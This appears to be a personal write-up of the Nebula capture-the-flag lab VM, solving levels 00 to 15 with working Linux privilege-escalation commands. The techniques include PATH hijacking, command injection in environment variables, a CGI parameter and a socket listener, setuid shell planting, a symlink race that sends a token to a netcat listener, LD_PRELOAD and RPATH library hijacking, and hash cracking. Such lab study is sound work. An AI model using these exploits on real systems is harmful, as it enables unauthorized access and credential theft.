Ever since I stumbled upon exploit exercises website - I wanted to try the challenges. They have three main exploitable VMs: Nebula, Protostar and Fusion. The order represents the suggested progression path.

The welcome page reads:

exploit-exercises.com provides a variety of virtual machines, documentation and challenges that can be used to learn about a variety of computer security issues such as privilege escalation, vulnerability analysis, exploit development, debugging, reverse engineering, and general cyber security issues.

Here, I wrote down some of the findings while exploring the Nebula VM.

About

Nebula takes the participant through a variety of common (and less than common) weaknesses and vulnerabilities in Linux. It takes a look at

At the end of Nebula, the user will have a reasonably thorough understanding of local attacks against Linux systems, and a cursory look at some of the remote attacks that are possible.

Level00

Description:

This level requires you to find a Set User ID program that will run as the “flag00” account. You could also find this by carefully looking in top level directories in / for suspicious looking directories.

To find the files:

level00@nebula:~$ find / -user flag00 -perm -4000 -exec ls -l {} \; 2>/dev/null
-rwsr-x--- 1 flag00 level00 7358 2011-11-20 21:22 /bin/.../flag00
-rwsr-x--- 1 flag00 level00 7358 2011-11-20 21:22 /rofs/bin/.../flag00
level00@nebula:~$

Getting the flag:

level00@nebula:~$ id
uid=1001(level00) gid=1001(level00) groups=1001(level00)
level00@nebula:~$ /bin/.../flag00 
Congrats, now run getflag to get your flag!
flag00@nebula:~$ getflag 
You have successfully executed getflag on a target account
flag00@nebula:~$ 

Level01

Description:

There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?

Source Code:

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
  gid_t gid;
  uid_t uid;
  gid = getegid();
  uid = geteuid();

  setresgid(gid, gid, gid);
  setresuid(uid, uid, uid);

  system("/usr/bin/env echo and now what?");
}

Here the code uses echo binary to display a string. We can exploit that by modifying $PATH environment variable and placing our own version of echo in the PATH. We can use the provided source code to get a shell by modifying the last line to execute bash:

level01@nebula:/home/flag01$ export PATH=/tmp:$PATH
level01@nebula:/home/flag01$ cat /tmp/setuid.c 
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
  gid_t gid;
  uid_t uid;
  gid = getegid();
  uid = geteuid();

  setresgid(gid, gid, gid);
  setresuid(uid, uid, uid);

  system("/bin/bash");
}
level01@nebula:/home/flag01$ gcc /tmp/setuid.c -o /tmp/echo
level01@nebula:/home/flag01$ ./flag01 
flag01@nebula:/home/flag01$ getflag 
You have successfully executed getflag on a target account
flag01@nebula:/home/flag01$ 

Level02

Description:

There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?

Source Code:

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
  char *buffer;

  gid_t gid;
  uid_t uid;

  gid = getegid();
  uid = geteuid();

  setresgid(gid, gid, gid);
  setresuid(uid, uid, uid);

  buffer = NULL;

  asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
  printf("about to call system(\"%s\")\n", buffer);
  
  system(buffer);
}

Here, we can inject additional commands into the $USER environment variable and terminate the buffer with #:

level02@nebula:/home/flag02$ export USER="user && /bin/bash #"
level02@nebula:/home/flag02$ ./flag02 
about to call system("/bin/echo user && /bin/bash # is cool")
user
flag02@nebula:/home/flag02$ getflag 
You have successfully executed getflag on a target account
flag02@nebula:/home/flag02$ 

Level03

Description:

Check the home directory of flag03 and take note of the files there. There is a crontab that is called every couple of minutes.

This level runs crontab every few minutes which executes anything from writable.d folder and then clears it. We can reuse /tmp/setuid.c file from previous levels:

level03@nebula:/home/flag03/writable.d$ cat exploit.sh
#!/bin/bash

gcc /tmp/setuid.c -o /home/flag03/shell
chmod +s /home/flag03/shell
level03@nebula:/home/flag03/writable.d$ cd ..
level03@nebula:/home/flag03$ ./shell
flag03@nebula:/home/flag03$ getflag 
You have successfully executed getflag on a target account
flag03@nebula:/home/flag03$ 

Level04

Description:

This level requires you to read the token file, but the code restricts the files that can be read. Find a way to bypass it :)

Source Code:

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>

int main(int argc, char **argv, char **envp)
{
  char buf[1024];
  int fd, rc;

  if(argc == 1) {
      printf("%s [file to read]\n", argv[0]);
      exit(EXIT_FAILURE);
  }

  if(strstr(argv[1], "token") != NULL) {
      printf("You may not access '%s'\n", argv[1]);
      exit(EXIT_FAILURE);
  }

  fd = open(argv[1], O_RDONLY);
  if(fd == -1) {
      err(EXIT_FAILURE, "Unable to open %s", argv[1]);
  }

  rc = read(fd, buf, sizeof(buf));
  
  if(rc == -1) {
      err(EXIT_FAILURE, "Unable to read fd %d", fd);
  }

  write(1, buf, rc);
}

This code tries to read the token file which is read/write protected. We can bypass that by creating a symlink to the token and reading that instead. The token file contains the password for the flag04 user.

level04@nebula:/home/flag04$ ln -s  /home/flag04/token /tmp/bypass
level04@nebula:/home/flag04$ ./flag04 /tmp/bypass
06508b5e-8909-4f38-b630-fdb148a848a2
level04@nebula:/home/flag04$ su flag04 -
Password: 
sh-4.2$ getflag 
You have successfully executed getflag on a target account

Level05

Description:

Check the flag05 home directory. You are looking for weak directory permissions

This level has world readable backup file which contains the private key for the flag05 user. We can use it to ssh in as flag05:

level05@nebula:/home/flag05$ cd .backup/
level05@nebula:/home/flag05/.backup$ ls -al
total 2
drwxr-xr-x 2 flag05 flag05    42 2011-11-20 20:13 .
drwxr-x--- 4 flag05 level05   93 2012-08-18 06:56 ..
-rw-rw-r-- 1 flag05 flag05  1826 2011-11-20 20:13 backup-19072011.tgz
level05@nebula:/home/flag05/.backup$ mkdir /tmp/backup
level05@nebula:/home/flag05/.backup$ cp backup-19072011.tgz /tmp/backup/
level05@nebula:/home/flag05/.backup$ cd /tmp/backup/
level05@nebula:/tmp/backup$ tar xvf backup-19072011.tgz 
.ssh/
.ssh/id_rsa.pub
.ssh/id_rsa
.ssh/authorized_keys
level05@nebula:/tmp/backup$ cd .ssh
level05@nebula:/tmp/backup/.ssh$ ssh -i id_rsa flag05@localhost
The authenticity of host 'localhost (127.0.0.1)' can't be established.
ECDSA key fingerprint is ea:8d:09:1d:f1:69:e6:1e:55:c7:ec:e9:76:a1:37:f0.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'localhost' (ECDSA) to the list of known hosts.
flag05@nebula:~$ getflag
You have successfully executed getflag on a target account

Level06

Description:

The flag06 account credentials came from a legacy unix system.

Upon closer inspection the /etc/passwd file has DES hash for the flag06 user:

level06@nebula:~$ cat /etc/passwd | grep flag06
flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh
level06@nebula:~$ 

The VM itself does not have john installed, so I cracked the password in my local Kali box (the password was hello) and used it to get the flag:

level06@nebula:~$ su flag06 -
Password: 
sh-4.2$ getflag 
You have successfully executed getflag on a target account
sh-4.2$ 

Level07

Description:

The flag07 user was writing their very first perl program that allowed them to ping hosts to see if they were reachable from the web server.

Source Code:

#!/usr/bin/perl

use CGI qw{param};

print "Content-type: text/html\n\n";

sub ping {
  $host = $_[0];

  print("<html><head><title>Ping results</title></head><body><pre>");

  @output = `ping -c 3 $host 2>&1`;
  foreach $line (@output) { print "$line"; }

  print("</pre></body></html>");
  
}

# check if Host set. if not, display normal page, etc

ping(param("Host"));

The vulnerable script is served via thttpd:

flag07    1169  0.0  0.1   2588   892 ?        Ss   Apr29   0:01 /usr/sbin/thttpd -C /home/flag07/thttpd.conf

And it is running on port 7007.

The perl source code has a command injection vulnerability. We can inject arbitrary commands into the Host parameter. I have chosen to reuse the setuid shell from previous levels (/tmp/shell).

The url encoded exploit:

http://192.168.56.101:7007/index.cgi?Host=localhost|cp%20/tmp/shell%20~%20%26%26%20chmod%204755%20~/shell

Which executes:

cp /tmp/shell ~ && chmod 4755 ~/shell

After that we can grab the flag:

level07@nebula:/home/flag07$ ls -l
total 13
-rwxr-xr-x 1 root   root    368 2011-11-20 21:22 index.cgi
-rwsr-xr-x 1 flag07 flag07 7322 2016-04-30 06:41 shell
-rw-r--r-- 1 root   root   3719 2011-11-20 21:22 thttpd.conf
level07@nebula:/home/flag07$ ./shell
flag07@nebula:/home/flag07$ getflag 
You have successfully executed getflag on a target account
flag07@nebula:/home/flag07$ 

Level08

Description:

World readable files strike again. Check what that user was up to, and use it to log into flag08 account.

This level has a world readable capture.pcap file in flag08’s home folder. After SCPing it out and viewing it in wireshark, we can extract the plaintext password:

wireshark

The password seen in the screenshot is backdoor...00Rm8.ate, hoewever, the dots here are actually 0x7F characters (which is Backspace), so the correct password is backd00Rmate

With this password we can get the flag:

level08@nebula:/home/flag08$ su flag08 -
Password: 
sh-4.2$ getflag 
You have successfully executed getflag on a target account
sh-4.2$ 

Level09

Description:

There’s a C setuid wrapper for some vulnerable PHP code…

Source Code:

<?php

function spam($email)
{
  $email = preg_replace("/\./", " dot ", $email);
  $email = preg_replace("/@/", " AT ", $email);
  
  return $email;
}

function markup($filename, $use_me)
{
  $contents = file_get_contents($filename);

  $contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
  $contents = preg_replace("/\[/", "<", $contents);
  $contents = preg_replace("/\]/", ">", $contents);

  return $contents;
}

$output = markup($argv[1], $argv[2]);

print $output;

?>

This code has preg_replace with /e modifier vulnerability. Googling for details we find a post that details the exploitation here .

The vulnerability in our case can be exploited by passing commands via second parameter (which is unused in the code itself), or, as described in the post, via first parameter’s file contents. The file contents in our case should look like this:

[email ${`shell commands`}]

The full exploit (again reusing setuid shell):

level09@nebula:/home/flag09$ cat /tmp/phpshell 
[email ${`cp /tmp/shell /home/flag09/shell && chmod 4755 /home/flag09/shell`}]

level09@nebula:/home/flag09$ ./flag09 /tmp/phpshell 1
PHP Notice:  Undefined variable:  in /home/flag09/flag09.php(15) : regexp code on line 1


level09@nebula:/home/flag09$ ls -al
total 21
drwxr-x--- 1 flag09 level09   60 2016-05-01 01:20 .
drwxr-xr-x 1 root   root     120 2012-08-27 07:18 ..
-rw-r--r-- 1 flag09 flag09   220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag09 flag09  3353 2011-05-18 02:54 .bashrc
-rwsr-x--- 1 flag09 level09 7240 2011-11-20 21:22 flag09
-rw-r--r-- 1 root   root     491 2011-11-20 21:22 flag09.php
-rw-r--r-- 1 flag09 flag09   675 2011-05-18 02:54 .profile
-rwsr-xr-x 1 flag09 level09 7322 2016-05-01 01:20 shell
level09@nebula:/home/flag09$ ./shell
flag09@nebula:/home/flag09$ getflag 
You have successfully executed getflag on a target account
flag09@nebula:/home/flag09$ 

Level10

Description:

The setuid binary at /home/flag10/flag10 binary will upload any file given, as long as it meets the requirements of the access() system call.

Source Code:

#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>

int main(int argc, char **argv)
{
  char *file;
  char *host;

  if(argc < 3) {
      printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]);
      exit(1);
  }

  file = argv[1];
  host = argv[2];

  if(access(argv[1], R_OK) == 0) {
      int fd;
      int ffd;
      int rc;
      struct sockaddr_in sin;
      char buffer[4096];

      printf("Connecting to %s:18211 .. ", host); fflush(stdout);

      fd = socket(AF_INET, SOCK_STREAM, 0);

      memset(&sin, 0, sizeof(struct sockaddr_in));
      sin.sin_family = AF_INET;
      sin.sin_addr.s_addr = inet_addr(host);
      sin.sin_port = htons(18211);

      if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) {
          printf("Unable to connect to host %s\n", host);
          exit(EXIT_FAILURE);
      }

#define HITHERE ".oO Oo.\n"
      if(write(fd, HITHERE, strlen(HITHERE)) == -1) {
          printf("Unable to write banner to host %s\n", host);
          exit(EXIT_FAILURE);
      }
#undef HITHERE

      printf("Connected!\nSending file .. "); fflush(stdout);

      ffd = open(file, O_RDONLY);
      if(ffd == -1) {
          printf("Damn. Unable to open file\n");
          exit(EXIT_FAILURE);
      }

      rc = read(ffd, buffer, sizeof(buffer));
      if(rc == -1) {
          printf("Unable to read from file: %s\n", strerror(errno));
          exit(EXIT_FAILURE);
      }

      write(fd, buffer, rc);

      printf("wrote file!\n");

  } else {
      printf("You don't have access to %s\n", file);
  }
}

This code is vulnerable to “time of check to time of use” race condition. It has its own wiki article. The logic of the (SETUID) code here and the one in the article is basically the same - check if the current user has access to a file and if so - process the file.

To exploit this, we need to first pass in the file that we have access to (to pass the check) and later switch it out (symlink) to another file (which we WANT to access). The timing is crucial here and the race needs to be automated. I wrote the following script:

#!/bin/bash

rm -rf /tmp/access
touch /tmp/access
/home/flag10/flag10 /tmp/access 192.168.56.1 &
ln -sf /home/flag10/token /tmp/access

After a few attempts we receive the token to our netcat listener:

root@kali:~# nc -lkp 18211
.oO Oo.
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
root@kali:~# 

Back inside the Nebula VM:

level10@nebula:/home/flag10$ su flag10 -
Password: 
sh-4.2$ getflag 
You have successfully executed getflag on a target account
sh-4.2$ 

Level11

Description:

The /home/flag11/flag11 binary processes standard input and executes a shell command. There are two ways of completing this level, you may wish to do both :-)

Source Code:

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/mman.h>

/*
 * Return a random, non predictable file, and return the file descriptor for it.
 */

int getrand(char **path)
{
  char *tmp;
  int pid;
  int fd;

  srandom(time(NULL));

  tmp = getenv("TEMP");
  pid = getpid();
  
  asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid,
      'A' + (random() % 26), '0' + (random() % 10),
      'a' + (random() % 26), 'A' + (random() % 26),
      '0' + (random() % 10), 'a' + (random() % 26));

  fd = open(*path, O_CREAT|O_RDWR, 0600);
  unlink(*path);
  return fd;
}

void process(char *buffer, int length)
{
  unsigned int key;
  int i;

  key = length & 0xff;

  for(i = 0; i < length; i++) {
      buffer[i] ^= key;
      key -= buffer[i];
  }

  system(buffer);
}

#define CL "Content-Length: "

int main(int argc, char **argv)
{
  char line[256];
  char buf[1024];
  char *mem;
  int length;
  int fd;
  char *path;

  if(fgets(line, sizeof(line), stdin) == NULL) {
      errx(1, "reading from stdin");
  }

  if(strncmp(line, CL, strlen(CL)) != 0) {
      errx(1, "invalid header");
  }

  length = atoi(line + strlen(CL));
  
  if(length < sizeof(buf)) {
      if(fread(buf, length, 1, stdin) != length) {
          err(1, "fread length");
      }
      process(buf, length);
  } else {
      int blue = length;
      int pink;

      fd = getrand(&path);

      while(blue > 0) {
          printf("blue = %d, length = %d, ", blue, length);

          pink = fread(buf, 1, sizeof(buf), stdin);
          printf("pink = %d\n", pink);

          if(pink <= 0) {
              err(1, "fread fail(blue = %d, length = %d)", blue, length);
          }
          write(fd, buf, pink);

          blue -= pink;
      }    

      mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
      if(mem == MAP_FAILED) {
          err(1, "mmap");
      }
      process(mem, length);
  }

}

The code reads data from stdin. In order to get code execution (reach the process function) we need to satisfy a few input conditions. The first line should contain a valid header, which is “Content-Length: “ followed by the length value. Then, depending on the length value, one of two execution paths are taken. If length is <1024 the first path is taken. This piece of code reads into a buffer:

      if(fread(buf, length, 1, stdin) != length) {
          err(1, "fread length");
      }

The fread() function will always return 1 here, because by definition it returns number of items read and not bytes read. So it looks like if we want to take the first execution path - our workable buffer length is 1.

If we test the program with a valid header and a buffer which only contains the x char:

level11@nebula:~$ /home/flag11/flag11 
Content-Length: 1
x
sh: yP?: command not found
level11@nebula:~$ 

We can see that we reach the system() call and that the x char was decoded to y. The additional random chars are there due to inability to properly null terminate our buffer, but executing with the same buffer a few times we can reach a point where the second char will randomly be a null terminator. So now we can get code execution:

level11@nebula:~$ cat y
getflag

level11@nebula:~$ export PATH=~:$PATH
level11@nebula:~$ echo -ne "Content-Length: 1\nx" | /home/flag11/flag11 
sh: yp!: command not found
level11@nebula:~$ echo -ne "Content-Length: 1\nx" | /home/flag11/flag11 
sh: $'y0\314': command not found
level11@nebula:~$ echo -ne "Content-Length: 1\nx" | /home/flag11/flag11 
sh: $'y\260\356': command not found
level11@nebula:~$ echo -ne "Content-Length: 1\nx" | /home/flag11/flag11 
getflag is executing on a non-flag account, this doesn't count
level11@nebula:~$ 

We manage to execute getflag, but it complains about the user id. There are no user id manipulations in the code prior to calling system(), so I think there is a bug in this level.

Level12

Decription:

There is a backdoor process listening on port 50001.

Source Code:

local socket = require("socket")
local server = assert(socket.bind("127.0.0.1", 50001))

function hash(password)
  prog = io.popen("echo "..password.." | sha1sum", "r")
  data = prog:read("*all")
  prog:close()

  data = string.sub(data, 1, 40)

  return data
end


while 1 do
  local client = server:accept()
  client:send("Password: ")
  client:settimeout(60)
  local line, err = client:receive()
  if not err then
      print("trying " .. line) -- log from where ;\
      local h = hash(line)

      if h ~= "4754a4f4bd5787accd33de887b9250a0691dd198" then
          client:send("Better luck next time\n");
      else
          client:send("Congrats, your token is 413**CARRIER LOST**\n")
      end

  end

  client:close()
end

The listener expects a password which is hashed (SHA1) and compared to a hardcoded value. The way the hash is calculated is vulnerable to command injection:

level12@nebula:/home/flag12$ nc localhost 50001
Password: test
Better luck next time
level12@nebula:/home/flag12$ nc localhost 50001
Password: test; getflag > /tmp/flag.txt; test
Better luck next time
level12@nebula:/home/flag12$ cat /tmp/flag.txt 
You have successfully executed getflag on a target account
level12@nebula:/home/flag12$ 

Level13

Description:

There is a security check that prevents the program from continuing execution if the user invoking it does not match a specific user id.

Source Code:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <string.h>

#define FAKEUID 1000

int main(int argc, char **argv, char **envp)
{
  int c;
  char token[256];

  if(getuid() != FAKEUID) {
      printf("Security failure detected. UID %d started us, we expect %d\n", getuid(), FAKEUID);
      printf("The system administrators will be notified of this violation\n");
      exit(EXIT_FAILURE);
  }

  // snip, sorry :)

  printf("your token is %s\n", token);
  
}

For this level we can override the getuid()function using the LD_PRELOAD trick. The original binary is setuid - which means that it discards the LD_PRELOAD variable. So this technique does not work for privilege escalation in our case, but instead can be used to divert execution path without modifying the binary itself. For this to work, we need to copy the executable somewhere else:

level13@nebula:~$ cat uid.c
#include <unistd.h>
uid_t getuid()
{
     return 1000;
}
level13@nebula:~$ gcc -fPIC uid.c -shared -o uid.so
level13@nebula:~$ LD_PRELOAD=~/uid.so /home/flag13/flag13 
Security failure detected. UID 1014 started us, we expect 1000
The system administrators will be notified of this violation
level13@nebula:~$ cp /home/flag13/flag13 /tmp/flag13
level13@nebula:~$ LD_PRELOAD=/home/level13/uid.so /tmp/flag13 
your token is b705702b-76a8-42b0-8844-3adabbe5ac58
level13@nebula:~$ su flag13 -
Password: 
sh-4.2$ id
uid=986(flag13) gid=986(flag13) groups=986(flag13)
sh-4.2$ getflag
You have successfully executed getflag on a target account

Level14

Description:

This program resides in /home/flag14/flag14. It encrypts input and writes it to standard output. An encrypted token file is also in that home directory, decrypt it :)

No source code was provided for this level. So here we must analyze the binary itself and deduce how it encrypts the provided input. By passing several test strings we can test how the binary works:

level14@nebula:/home/flag14$ echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA | ./flag14 -e
ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefg1level14@nebula:/home/flag14$ 

Here we can see that each character in the string is shifted according to its possition (index). The 0th A is shifted by 0, 1st - by 1, 2nd - by 2, and so on. A quick python script should reverse this process and decrypt the token:

level14@nebula:/home/flag14$ cat token 
857:g67?5ABBo:BtDA?tIvLDKL{MQPSRQWW.
level14@nebula:/home/flag14$ cat /tmp/decrypt.py 
import sys

encrypted = '857:g67?5ABBo:BtDA?tIvLDKL{MQPSRQWW.'
plaintext = ''
for i in xrange(len(encrypted)):
    char = chr(ord(encrypted[i]) - i)
    plaintext += char

print plaintext
level14@nebula:/home/flag14$ python /tmp/decrypt.py 
8457c118-887c-4e40-a5a6-33a25353165

level14@nebula:/home/flag14$ su flag14 -
Password: 
sh-4.2$ getflag 
You have successfully executed getflag on a target account

Level15

Description:

Strace the binary at /home/flag15/flag15 and see if you spot anything out of the ordinary. You may wish to review how to “compile a shared library in linux” and how the libraries are loaded and processed by reviewing the dlopen manpage in depth. Clean up after yourself :)

Stracing the flag15 binary shows a bunch of reads of libc.so.6 library inside various folders inside /var/tmp/flag15:

level15@nebula:~$ strace /home/flag15/flag15 
execve("/home/flag15/flag15", ["/home/flag15/flag15"], [/* 18 vars */]) = 0
brk(0)                                  = 0x8685000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb77a7000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/sse2/cmov", 0xbf8c25d4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/sse2", 0xbf8c25d4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/cmov", 0xbf8c25d4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686", 0xbf8c25d4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/sse2/cmov", 0xbf8c25d4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/sse2", 0xbf8c25d4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/cmov", 0xbf8c25d4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls", 0xbf8c25d4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/sse2/cmov", 0xbf8c25d4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/sse2", 0xbf8c25d4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/cmov", 0xbf8c25d4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686", 0xbf8c25d4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/sse2/cmov", 0xbf8c25d4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/sse2", 0xbf8c25d4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/cmov", 0xbf8c25d4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15", {st_mode=S_IFDIR|0775, st_size=3, ...}) = 0
open("/etc/ld.so.cache", O_RDONLY)      = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=33815, ...}) = 0
mmap2(NULL, 33815, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb779e000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/libc.so.6", O_RDONLY) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0p\222\1\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1544392, ...}) = 0
mmap2(NULL, 1554968, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x6ea000
mmap2(0x860000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x176) = 0x860000
mmap2(0x863000, 10776, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x863000
close(3)                                = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb779d000
set_thread_area({entry_number:-1 -> 6, base_addr:0xb779d8d0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
mprotect(0x860000, 8192, PROT_READ)     = 0
mprotect(0x8049000, 4096, PROT_READ)    = 0
mprotect(0x57b000, 4096, PROT_READ)     = 0
munmap(0xb779e000, 33815)               = 0
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb77a6000
write(1, "strace it!\n", 11strace it!
)            = 11
exit_group(11)                          = ?

Some more information about the binary:

level15@nebula:~$ readelf -d /home/flag15/flag15 

Dynamic section at offset 0xf20 contains 21 entries:
  Tag        Type                         Name/Value
 0x00000001 (NEEDED)                     Shared library: [libc.so.6]
 0x0000000f (RPATH)                      Library rpath: [/var/tmp/flag15]
 0x0000000c (INIT)                       0x80482c0
 0x0000000d (FINI)                       0x80484ac
 0x6ffffef5 (GNU_HASH)                   0x80481ac
 0x00000005 (STRTAB)                     0x804821c
 0x00000006 (SYMTAB)                     0x80481cc
 0x0000000a (STRSZ)                      90 (bytes)
 0x0000000b (SYMENT)                     16 (bytes)
 0x00000015 (DEBUG)                      0x0
 0x00000003 (PLTGOT)                     0x8049ff4
 0x00000002 (PLTRELSZ)                   24 (bytes)
 0x00000014 (PLTREL)                     REL
 0x00000017 (JMPREL)                     0x80482a8
 0x00000011 (REL)                        0x80482a0
 0x00000012 (RELSZ)                      8 (bytes)
 0x00000013 (RELENT)                     8 (bytes)
 0x6ffffffe (VERNEED)                    0x8048280
 0x6fffffff (VERNEEDNUM)                 1
 0x6ffffff0 (VERSYM)                     0x8048276
 0x00000000 (NULL)                       0x0

So puting it all together - it looks like the binary is trying to load the libc.so.6 library from RPATH, which is /var/tmp/flag15. Since we can write there - we can place a malicious libc.so.6 file and wait for the binary to load it.

The flag15 binary has a few functions that we can work with:

level15@nebula:/var/tmp/flag15$ objdump -R /home/flag15/flag15 

/home/flag15/flag15:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE 
08049ff0 R_386_GLOB_DAT    __gmon_start__
0804a000 R_386_JUMP_SLOT   puts
0804a004 R_386_JUMP_SLOT   __gmon_start__
0804a008 R_386_JUMP_SLOT   __libc_start_main

The __libc_start_main seems like the best candidate since it is executed upon loading the shared library. A simple library code to try to execute bash:

#include <stdio.h>

int __libc_start_main(int (*main) (int, char * *, char * *), int argc, char * * ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end)) {
    system("/bin/bash");
}

However, the library does not work:

level15@nebula:/var/tmp/flag15$ gcc -shared -fPIC -o libc.so.6 lib.c
level15@nebula:/var/tmp/flag15$ /home/flag15/flag15 
/home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /home/flag15/flag15)
/home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /var/tmp/flag15/libc.so.6)
/home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /var/tmp/flag15/libc.so.6)
/home/flag15/flag15: relocation error: /var/tmp/flag15/libc.so.6: symbol __cxa_finalize, version GLIBC_2.1.3 not defined in file libc.so.6 with link time reference
level15@nebula:/var/tmp/flag15$ 

Some Googling shows that the “version” error can be solved by linking with a version-script (older glibc):

level15@nebula:/var/tmp/flag15$ cat version.txt 
GLIBC_2.0 {
};
level15@nebula:/var/tmp/flag15$ gcc -fPIC -shared -Wl,--version-script=version.txt -o libc.so.6 lib.c
level15@nebula:/var/tmp/flag15$ /home/flag15/flag15 
/home/flag15/flag15: /var/tmp/flag15/libc.so.6: version `GLIBC_2.1.3' not found (required by /var/tmp/flag15/libc.so.6)
level15@nebula:/var/tmp/flag15$ 

Now another error, which can be solved by static linking options -Bstatic and -static-libgcc. After adding those - the exploit works, but it seems that our user id is wrong:

level15@nebula:/var/tmp/flag15$ gcc -fPIC -shared -static-libgcc -Wl,--version-script=version.txt,-Bstatic -o libc.so.6 lib.c
level15@nebula:/var/tmp/flag15$ /home/flag15/flag15 
bash-4.2$ getflag
getflag is executing on a non-flag account, this doesn't count
bash-4.2$ id
uid=1016(level15) gid=1016(level15) groups=1016(level15)
bash-4.2$ 

